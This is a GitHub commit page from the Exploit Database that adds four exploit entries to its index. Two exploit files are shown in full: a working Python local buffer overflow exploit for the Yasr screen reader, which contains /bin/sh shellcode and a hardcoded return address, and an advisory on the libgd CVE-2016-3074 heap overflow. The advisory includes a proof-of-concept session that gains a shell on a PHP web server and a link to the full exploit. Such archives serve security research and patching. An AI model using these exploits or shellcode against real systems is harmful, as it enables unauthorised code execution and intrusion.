Skip to content

Commit fe50818

Browse files
author
Offensive Security
committed
DB: 2016-04-27
4 new exploits Yasr Screen Reader 0.6.9 - Local Buffer Overflow Advantech WebAccess Dashboard Viewer Arbitrary File Upload libgd 2.1.1 - Signedness Heap Overflow ImpressCMS 1.3.9 - SQL Injection
1 parent 39fe341 commit fe50818

File tree

5 files changed

+525
-0
lines changed

5 files changed

+525
-0
lines changed

‎files.csv‎

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -35945,3 +35945,7 @@ id,file,description,date,author,platform,type,port
3594535945
39729,platforms/win32/remote/39729.rb,"PCMan FTP Server 2.0.7 - RENAME Command Buffer Overflow (MSF)",2016-04-25,"Jonathan Smith",win32,remote,21
3594635946
39730,platforms/ruby/webapps/39730.txt,"NationBuilder Multiple Stored XSS Vulnerabilities",2016-04-25,LiquidWorm,ruby,webapps,443
3594735947
39733,platforms/linux/dos/39733.py,"Rough Auditing Tool for Security (RATS) 2.3 - Crash PoC",2016-04-25,"David Silveiro",linux,dos,0
35948+
39734,platforms/linux/local/39734.py,"Yasr Screen Reader 0.6.9 - Local Buffer Overflow",2016-04-26,"Juan Sacco",linux,local,0
35949+
39735,platforms/windows/remote/39735.rb,"Advantech WebAccess Dashboard Viewer Arbitrary File Upload",2016-04-26,metasploit,windows,remote,80
35950+
39736,platforms/linux/remote/39736.txt,"libgd 2.1.1 - Signedness Heap Overflow",2016-04-26,"Hans Jerry Illikainen",linux,remote,0
35951+
39737,platforms/php/webapps/39737.txt,"ImpressCMS 1.3.9 - SQL Injection",2016-04-26,"Manuel García Cárdenas",php,webapps,80

‎platforms/linux/local/39734.py‎

Lines changed: 66 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,66 @@
1+
'''
2+
# Exploit Author: Juan Sacco - http://www.exploitpack.com - jsacco@exploitpack.com
3+
# Program affected: General-purpose console screen reader
4+
# Version: 0.6.9-5
5+
#
6+
# Tested and developed under: Kali Linux 2.0 x86 - https://www.kali.org
7+
# Program description: Yasr is a general-purpose console screen reader
8+
for GNU/Linux and other Unix-like operating systems.
9+
# Kali Linux 2.0 package: pool/main/y/yasr/yasr_0.6.9-5_i386.deb
10+
# MD5sum: 910f4b41fd09d5486b935097dc8dd2f8
11+
# Website: http://yasr.sourceforge.net/
12+
#
13+
#
14+
# Starting program: /usr/bin/yasr -p $(python -c 'print "\x90"*258')
15+
# [Thread debugging using libthread_db enabled]
16+
# Using host libthread_db library
17+
"/lib/i386-linux-gnu/i686/cmov/libthread_db.so.1".
18+
# Program received signal SIGSEGV, Segmentation fault.
19+
#
20+
# 0x90909090 in ?? ()
21+
#
22+
#gdb$ backtrace
23+
#0 0xb7fdebe0 in __kernel_vsyscall ()
24+
#1 0xb7e33367 in __GI_raise (sig=sig@entry=0x6) at
25+
../nptl/sysdeps/unix/sysv/linux/raise.c:56
26+
#2 0xb7e34a23 in __GI_abort () at abort.c:89
27+
#3 0xb7e71778 in __libc_message (do_abort=do_abort@entry=0x2,
28+
fmt=fmt@entry=0xb7f67715 "*** %s ***: %s terminated\n") at
29+
../sysdeps/posix/libc_fatal.c:175
30+
#4 0xb7f01b85 in __GI___fortify_fail (msg=msg@entry=0xb7f67696
31+
"buffer overflow detected") at fortify_fail.c:31
32+
#5 0xb7effc3a in __GI___chk_fail () at chk_fail.c:28
33+
'''
34+
35+
import os, subprocess
36+
37+
def run():
38+
try:
39+
print "# Yasr Console Screen Reader - Buffer Overflow by Juan Sacco"
40+
print "# This exploit is for educational purposes only"
41+
# JUNK + SHELLCODE + NOPS + EIP
42+
43+
junk = "\x41"*298
44+
shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
45+
nops = "\x90"*12
46+
eip = "\xd2\xf3\xff\xbf"
47+
subprocess.call(["yasr ",'-p ', junk + shellcode + nops + eip])
48+
49+
except OSError as e:
50+
if e.errno == os.errno.ENOENT:
51+
print "Sorry, Yasr Console Reader - Not found!"
52+
else:
53+
print "Error executing exploit"
54+
raise
55+
56+
def howtousage():
57+
print "Snap! Something went wrong"
58+
sys.exit(-1)
59+
60+
if __name__ == '__main__':
61+
try:
62+
print "Exploit Yasr 0.6.9-5 Local Overflow Exploit"
63+
print "Author: Juan Sacco"
64+
except IndexError:
65+
howtousage()
66+
run()

‎platforms/linux/remote/39736.txt‎

Lines changed: 241 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,241 @@
1+
Overview
2+
========
3+
4+
libgd [1] is an open-source image library. It is perhaps primarily used
5+
by the PHP project. It has been bundled with the default installation
6+
of PHP since version 4.3 [2].
7+
8+
A signedness vulnerability (CVE-2016-3074) exist in libgd 2.1.1 which
9+
may result in a heap overflow when processing compressed gd2 data.
10+
11+
12+
Details
13+
=======
14+
15+
4 bytes representing the chunk index size is stored in a signed integer,
16+
chunkIdx[i].size, by `gdGetInt()' during the parsing of GD2 headers:
17+
18+
libgd-2.1.1/src/gd_gd2.c:
19+
,----
20+
| 53 typedef struct {
21+
| 54 int offset;
22+
| 55 int size;
23+
| 56 }
24+
| 57 t_chunk_info;
25+
`----
26+
27+
28+
libgd-2.1.1/src/gd_gd2.c:
29+
,----
30+
| 65 static int
31+
| 66 _gd2GetHeader (gdIOCtxPtr in, int *sx, int *sy,
32+
| 67 int *cs, int *vers, int *fmt, int *ncx, int *ncy,
33+
| 68 t_chunk_info ** chunkIdx)
34+
| 69 {
35+
| ...
36+
| 73 t_chunk_info *cidx;
37+
| ...
38+
| 155 if (gd2_compressed (*fmt)) {
39+
| ...
40+
| 163 for (i = 0; i < nc; i++) {
41+
| ...
42+
| 167 if (gdGetInt (&cidx[i].size, in) != 1) {
43+
| 168 goto fail2;
44+
| 169 };
45+
| 170 };
46+
| 171 *chunkIdx = cidx;
47+
| 172 };
48+
| ...
49+
| 181 }
50+
`----
51+
52+
53+
`gdImageCreateFromGd2Ctx()' and `gdImageCreateFromGd2PartCtx()' then
54+
allocates memory for the compressed data based on the value of the
55+
largest chunk size:
56+
57+
libgd-2.1.1/src/gd_gd2.c:
58+
,----
59+
| 371|637 if (gd2_compressed (fmt)) {
60+
| 372|638 /* Find the maximum compressed chunk size. */
61+
| 373|639 compMax = 0;
62+
| 374|640 for (i = 0; (i < nc); i++) {
63+
| 375|641 if (chunkIdx[i].size > compMax) {
64+
| 376|642 compMax = chunkIdx[i].size;
65+
| 377|643 };
66+
| 378|644 };
67+
| 379|645 compMax++;
68+
| ...|...
69+
| 387|656 compBuf = gdCalloc (compMax, 1);
70+
| ...|...
71+
| 393|661 };
72+
`----
73+
74+
75+
A size of <= 0 results in `compMax' retaining its initial value during
76+
the loop, followed by it being incremented to 1. Since `compMax' is
77+
used as the nmemb for `gdCalloc()', this leads to a 1*1 byte allocation
78+
for `compBuf'.
79+
80+
This is followed by compressed data being read to `compBuf' based on the
81+
current (potentially negative) chunk size:
82+
83+
libgd-2.1.1/src/gd_gd2.c:
84+
,----
85+
| 339 BGD_DECLARE(gdImagePtr) gdImageCreateFromGd2Ctx (gdIOCtxPtr in)
86+
| 340 {
87+
| ...
88+
| 413 if (gd2_compressed (fmt)) {
89+
| 414
90+
| 415 chunkLen = chunkMax;
91+
| 416
92+
| 417 if (!_gd2ReadChunk (chunkIdx[chunkNum].offset,
93+
| 418 compBuf,
94+
| 419 chunkIdx[chunkNum].size,
95+
| 420 (char *) chunkBuf, &chunkLen, in)) {
96+
| 421 GD2_DBG (printf ("Error reading comproessed chunk\n"));
97+
| 422 goto fail;
98+
| 423 };
99+
| 424
100+
| 425 chunkPos = 0;
101+
| 426 };
102+
| ...
103+
| 501 }
104+
`----
105+
106+
107+
libgd-2.1.1/src/gd_gd2.c:
108+
,----
109+
| 585 BGD_DECLARE(gdImagePtr) gdImageCreateFromGd2PartCtx (gdIOCtx * in, int srcx, int srcy, int w, int h)
110+
| 586 {
111+
| ...
112+
| 713 if (!gd2_compressed (fmt)) {
113+
| ...
114+
| 731 } else {
115+
| 732 chunkNum = cx + cy * ncx;
116+
| 733
117+
| 734 chunkLen = chunkMax;
118+
| 735 if (!_gd2ReadChunk (chunkIdx[chunkNum].offset,
119+
| 736 compBuf,
120+
| 737 chunkIdx[chunkNum].size,
121+
| 738 (char *) chunkBuf, &chunkLen, in)) {
122+
| 739 printf ("Error reading comproessed chunk\n");
123+
| 740 goto fail2;
124+
| 741 };
125+
| ...
126+
| 746 };
127+
| ...
128+
| 815 }
129+
`----
130+
131+
132+
The size is subsequently interpreted as a size_t by `fread()' or
133+
`memcpy()', depending on how the image is read:
134+
135+
libgd-2.1.1/src/gd_gd2.c:
136+
,----
137+
| 221 static int
138+
| 222 _gd2ReadChunk (int offset, char *compBuf, int compSize, char *chunkBuf,
139+
| 223 uLongf * chunkLen, gdIOCtx * in)
140+
| 224 {
141+
| ...
142+
| 236 if (gdGetBuf (compBuf, compSize, in) != compSize) {
143+
| 237 return FALSE;
144+
| 238 };
145+
| ...
146+
| 251 }
147+
`----
148+
149+
libgd-2.1.1/src/gd_io.c:
150+
,----
151+
| 211 int gdGetBuf(void *buf, int size, gdIOCtx *ctx)
152+
| 212 {
153+
| 213 return (ctx->getBuf)(ctx, buf, size);
154+
| 214 }
155+
`----
156+
157+
158+
For file contexts:
159+
160+
libgd-2.1.1/src/gd_io_file.c:
161+
,----
162+
| 52 BGD_DECLARE(gdIOCtx *) gdNewFileCtx(FILE *f)
163+
| 53 {
164+
| ...
165+
| 67 ctx->ctx.getBuf = fileGetbuf;
166+
| ...
167+
| 76 }
168+
| ...
169+
| 92 static int fileGetbuf(gdIOCtx *ctx, void *buf, int size)
170+
| 93 {
171+
| 94 fileIOCtx *fctx;
172+
| 95 fctx = (fileIOCtx *)ctx;
173+
| 96
174+
| 97 return (fread(buf, 1, size, fctx->f));
175+
| 98 }
176+
`----
177+
178+
179+
And for dynamic contexts:
180+
181+
libgd-2.1.1/src/gd_io_dp.c:
182+
,----
183+
| 74 BGD_DECLARE(gdIOCtx *) gdNewDynamicCtxEx(int initialSize, void *data, int freeOKFlag)
184+
| 75 {
185+
| ...
186+
| 95 ctx->ctx.getBuf = dynamicGetbuf;
187+
| ...
188+
| 104 }
189+
| ...
190+
| 256 static int dynamicGetbuf(gdIOCtxPtr ctx, void *buf, int len)
191+
| 257 {
192+
| ...
193+
| 280 memcpy(buf, (void *) ((char *)dp->data + dp->pos), rlen);
194+
| ...
195+
| 284 }
196+
`----
197+
198+
199+
PoC
200+
===
201+
202+
Against Ubuntu 15.10 amd64 running nginx with php5-fpm and php5-gd [3]:
203+
204+
,----
205+
| $ python exploit.py --bind-port 5555 http://1.2.3.4/upload.php
206+
| [*] this may take a while
207+
| [*] offset 912 of 10000...
208+
| [+] connected to 1.2.3.4:5555
209+
| id
210+
| uid=33(www-data) gid=33(www-data) groups=33(www-data)
211+
|
212+
| uname -a
213+
| Linux wily64 4.2.0-35-generic #40-Ubuntu SMP Tue Mar 15 22:15:45 UTC
214+
| 2016 x86_64 x86_64 x86_64 GNU/Linux
215+
|
216+
| dpkg -l|grep -E "php5-(fpm|gd)"
217+
| ii php5-fpm 5.6.11+dfsg-1ubuntu3.1 ...
218+
| ii php5-gd 5.6.11+dfsg-1ubuntu3.1 ...
219+
|
220+
| cat upload.php
221+
| <?php
222+
| imagecreatefromgd2($_FILES["file"]["tmp_name"]);
223+
| ?>
224+
`----
225+
226+
227+
Solution
228+
========
229+
230+
This bug has been fixed in git HEAD [4].
231+
232+
Full Proof of Concept:
233+
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39736.zip
234+
235+
Footnotes
236+
_________
237+
238+
[1] [http://libgd.org/]
239+
[2] [https://en.wikipedia.org/wiki/Libgd]
240+
[3] [https://github.com/dyntopia/exploits/tree/master/CVE-2016-3074]
241+
[4] [https://github.com/libgd/libgd/commit/2bb97f407c1145c850416a3bfbcc8cf124e68a19]

0 commit comments

Comments
 (0)